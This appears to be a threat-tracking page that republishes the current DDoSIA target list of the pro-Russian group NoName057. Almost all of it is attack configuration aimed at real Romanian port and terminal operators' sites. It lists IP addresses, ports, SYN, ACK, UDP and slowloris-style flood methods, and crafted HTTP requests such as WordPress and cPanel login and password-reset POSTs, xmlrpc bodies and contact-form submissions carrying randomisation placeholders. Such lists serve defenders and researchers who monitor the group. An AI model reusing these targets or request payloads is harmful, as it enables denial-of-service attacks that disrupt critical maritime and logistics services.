NoName057 - Pro-Russian Hacker Group

This is the latest targets in use by the NoName057 hacking group and their tool called DDoSIA.
The data is almost live, with a maximum of 60min delay. What you see here is what currently is being distributed to all the members as new targets.

Countries in DDoS scope:

List last modified: Wed, 29 Jul 2026 12:30:01 +0200

FQDN	IP	IP NATIONALITY / ASN NAME
	ATTACK TYPE	ATTACK METHOD	ATTACK PORT	USE TLS/SSL?
	⤷ PATH
	⤷ BODY/PAYLOAD

oil-terminal.com	193.231.242.80	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /?s=$_1
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /wp-login.php
	⤷ log=$_1%40gmail.com&pwd=12432362357463&wp-submit=Autentificare&redirect_to=https%3A%2F%2Foil-terminal.com%2Fwp-admin%2F&testcookie=1
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /wp-login.php?action=lostpassword
	⤷ user_login=$_1%40gmail.com&redirect_to=&wp-submit=Prime%C8%99ti+o+parol%C4%83+nou%C4%83
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /wp-cron.php?v=$_5
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=$_5
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /wp-admin/load-styles.php?c=1&load%5B%5D=common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,widgets,site-icon,l10n,install,updates,farbtastic,wp-jquery-ui-dialog,wp-pointer,customize-controls,customize-widgets,customize-preview,customize-nav-menus,customize-preview-nav-menus,wp-color-picker,colors,ie,buttons,wp-auth-check,media-views,wp-mediaelement,imgareaselect,thickbox,editor-buttons,wp-editor-buttons,wp-editor,wp-editor-autop,wp-editor-rtl,wp-codemirror,wp-theme-plugin-editor,mediaelement,jquery-ui-core,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-ui-accordion,jquery-ui-datepicker,wp-plupload,wp-plupload-handlers,plupload,plupload-handlers,swfupload,swfupload-handlers,swfupload-all,wp-jquery-ui-dialog,wp-pointer,customize-controls,customize-widgets,customize-preview,customize-nav-menus,customize-preview-nav-menus,wp-color-picker,colors,ie,buttons,wp-auth-check,media-views,wp-mediaelement,imgareaselect,thickbox,editor-buttons,wp-editor-buttons,wp-editor,wp-editor-autop,wp-editor-rtl,wp-codemirror,wp-theme-plugin-editor,mediaelement&ver=$_5
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /xmlrpc.php
	⤷ <methodResponse> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>translationproxy.updated_job_status</string></value> <value><string>translationproxy.test_xmlrpc</string></value> <value><string>translationproxy.get_languages_list</string></value> <value><string>wpml.get_languages</string></value> <value><string>wpml.get_post_trid</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>$_1</string></value> </data></array> </value> </param> </params> </methodResponse>
	TCP	SYN	5060	TLS/SSL = Yes
	UDP	UDP_FLOOD	5060	TLS/SSL = Yes
	TCP	SYN	2000	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = Yes
	TCP	SYN	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes

portofconstantza.com	194.102.100.14	Romania / AS-39803 = Trident Servicii Si Mentenanta SA
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /pn/api/v1/search?q=$_1
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /pn/api/v1/mesajesite
	⤷ {"fkTara":6,"nume":"$_1","prenume":"$_1","denFirma":"$_1","pozitiaFirma":"$_1","telefon":"$_0","fax":null,"emailUtilizator":"$_1@gmail.com","orasFirma":"$_1","titluMesaj":"$_1","continutMesaj":"$_1","captcha":"$_0","bifaGDPR":1}
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /pn/page/np_licente_permise_lucru
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /pn/page/np_navigatie
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /pn/page/np_prezentare_port
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	8010	TLS/SSL = No
	TCP	SYN	8443	TLS/SSL = No

booking.portofconstantza.com	34.141.74.105	Germany - Frankfurt am Main / AS-396982 = GOOGLE-CLOUD-PLATFORM
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /wp-admin/admin-ajax.php
	⤷ action=ajaxsearchlite_search&aslp=$_1&asid=1&options=customset%5B%5D%3Dcompany%26customset%5B%5D%3Dpage%26asl_gen%5B%5D%3Dexcerpt%26asl_gen%5B%5D%3Dcontent%26asl_gen%5B%5D%3Dtitle%26polylang_lang%3Dro%26qtranslate_lang%3D0%26filters_initial%3D1%26filters_changed%3D0&asl_req_json=1
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /operatori-portuari-licentiati/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /operatori-portuari-licentiati/$_13/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ajutor/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /support-ro/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ajutor/manuale/
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

socep.ro	85.9.35.38	Romania - Alexandria / AS-5606 = GTS Telecom SRL
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /submitFormContact
	⤷ ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="_token" jkIPLESnu3zDm11GcocQ4ojIi0wOU4BsVixxfooM ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="jobid" ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="nume" $_1 ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="telefon" $_0 ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="email" $_1@gmail.com ------WebKitFormBoundary2kfAvI3fygRsooWP Content-Disposition: form-data; name="mesaj" $_1 ------WebKitFormBoundary2kfAvI3fygRsooWP--
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /news?page=$_2
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /servicii
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /career
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /certificari
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	26	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No

cpanel.socep.ro	91.235.116.190	Romania / AS-51177 = Tipzor Media Srl
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /login/?login_only=1
	⤷ user=$_1%40gmail.com&pass=$_1&goto_uri=%3F%3Dundefined
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /resetpass?start=1
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /resetpass
	⤷ user=$_1&login=%D0%A1%D0%B1%D1%80%D0%BE%D1%81%D0%B8%D1%82%D1%8C+%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /resetpass
	⤷ action=puzzle&user=$_1&answer=$_1%40gmail.com&debug=&puzzle-guess-input=$_1%40gmail.com&login=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+%D0%BA%D0%BE%D0%B4+%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /resetpass
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	SYN	111	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	22	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	3306	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	5960	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No

cpcalendars.socep.ro	91.235.116.190	Romania / AS-51177 = Tipzor Media Srl
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

cpcontacts.socep.ro	91.235.116.190	Romania / AS-51177 = Tipzor Media Srl
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	111	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	22	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	3306	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	5960	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No

mail.socep.ro	85.9.35.38	Romania - Alexandria / AS-5606 = GTS Telecom SRL
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /news
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /news?page=$_2
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /submitFormContact
	⤷ ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="_token" LUBkBZg9c1fimWeEGLoYdhMm49hZqrzTOIClq1Pv ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="jobid" ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="nume" $_1 ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="telefon" $_0 ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="email" $_1@gmail.com ------WebKitFormBoundaryNhUasTfHj7uqccV4 Content-Disposition: form-data; name="mesaj" $_1 ------WebKitFormBoundaryNhUasTfHj7uqccV4--
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /career
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /servicii
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /certificari
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

webdisk.socep.ro	91.235.116.190	Romania / AS-51177 = Tipzor Media Srl
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

scs.ro	188.209.214.227	Romania / AS-205275 = ROMARG SRL
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /requests/contactform
	⤷ action=contactform&formID=3&language=ro-RO&_csrf=EA0QTDOLJRDMm7d9Tyj9D23M5zVbFxCouMr-ZddE0zRlZnwue75SW_-o_UtiT89OHv7TAQlDKeWNualdtBK4bA%3D%3D&input000=$_1&input001=$_1&input002=$_0&textarea003=$_1&acceptance=on
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /requests/contactform
	⤷ action=contactform&formID=4&language=ro-RO&_csrf=0LsqOVej7ExkUZzTXrlGVopXSbyNkyrfsR9f9urudB2l0EZbH5abB1di1uVz3nQX-WV9iN_HE5KEbAjOibgfRQ%3D%3D&input000=$_1&input001=$_1&input002=$_0&email003=$_1%40gmail.com&input004=$_1&input005=rwer&textarea006=rewr&acceptance=on
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /solicitare-oferta
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /despre-noi
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /galerie
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

www.scs.ro	188.209.214.227	Romania / AS-205275 = ROMARG SRL
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /requests/contactform
	⤷ action=contactform&formID=3&language=ro-RO&_csrf=-nF5fRYoKs5QQGc55E4RNtDe9oT-k8FdsYVu35CSNKmNABQtZB8btzcNV1_VKF9b6ZSAypD7uD_U1AmZ8_p3ww%3D%3D&input000=$_1&input001=$_1&input002=$_0&textarea003=$_1&acceptance=on
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /contact
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /stiri
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /despre-noi
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /galerie
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

ftp.scs.ro	188.209.214.227	Romania / AS-205275 = ROMARG SRL
	HTTP	POST	80	TLS/SSL = No
	⤷ /requests/contactform
	⤷ action=contactform&formID=3&language=ro-RO&_csrf=1BUi__qI-BnLNmuuUbaulO3GoHvk0tu2bqfxzZ5chhucLViquOSQUfN4KOs41NnmsraWCdfnqoMh9ZX68WWwLA%3D%3D&input000=$_1&input001=$_1&input002=$_0&textarea003=$_1&acceptance=on
	HTTP	GET	80	TLS/SSL = No
	⤷ /stiri
	HTTP	GET	80	TLS/SSL = No
	⤷ /manipulare-logistica
	HTTP	GET	80	TLS/SSL = No
	⤷ /echipamente
	TCP	SYN	80	TLS/SSL = No
	⤷ /depozitare
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	NGINX_LORIS	UDP_FLOOD	80	TLS/SSL = No

gestiune.scs.ro	46.101.229.22	Germany - Frankfurt am Main / AS-14061 = DIGITALOCEAN-ASN
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /autentificare/?next=/
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /autentificare/?next=/
	⤷ csrfmiddlewaretoken=4by67FQCqCgTRONY1QR94GZqnK0mKlrY1cw0NpTwmRGqw7ISfgD77HYI3vuqKF1c&username=$_1&password=$_1
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

www.gestiune.scs.ro	46.101.229.22	Germany - Frankfurt am Main / AS-14061 = DIGITALOCEAN-ASN
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /autentificare/?next=/
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /autentificare/?next=/
	⤷ csrfmiddlewaretoken=8X7hz3oIBC27fzBE90yhQbeXrHj1efwEkwXzAwwc0C4IZlKZuHMjp0B7nmlUvFbn&username=$_1&password=$_1
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No

chimpex.ro	185.248.196.55	Romania / AS-51295 = Tes Euro Media SRL
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /contact
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /en/sustainability/reports
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /en/code-of-conduit
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /en/services/stevedoring
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /en/public-documents
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No

www.chimpex.ro	185.248.196.55	Romania / AS-51295 = Tes Euro Media SRL
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /fonduri-europene
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /echipa-noastra
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /codul-de-conduita
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /servicii/depozitare
	HTTP3	GET	443	TLS/SSL = Yes
	⤷ /sustenabilitate/raportare
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No

planning.chimpex.ro	81.12.146.254	Romania - Iasi / AS-12302 = Vodafone Romania S.A.
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /login_check
	⤷ _csrf_token=_-tnW7EqUixK3Le1b_WJXRUBsRJKrYo40HlUtm2tcDE&_username=$_1%40gmail.com&_password=$_1
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /login
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	3000	TLS/SSL = No

www.comvex.ro	193.41.247.77	Romania / AS-12439 = Impromex S.R.L.
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ro/contact/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ro/depozitare-minerale/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ro/comunicate-de-presa/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ro/social-media/
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /ro/proiecte-europene-1/
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	10000	TLS/SSL = No

rezervari.comvex.ro	193.41.247.77	Romania / AS-12439 = Impromex S.R.L.
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	10000	TLS/SSL = No

buyex.comvex.ro	3.165.113.128	United States / AS-16509 = AMAZON-02
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /#/login
	TCP	SYN	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes

cpcalendars.oil-terminal.com	193.231.242.80	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /
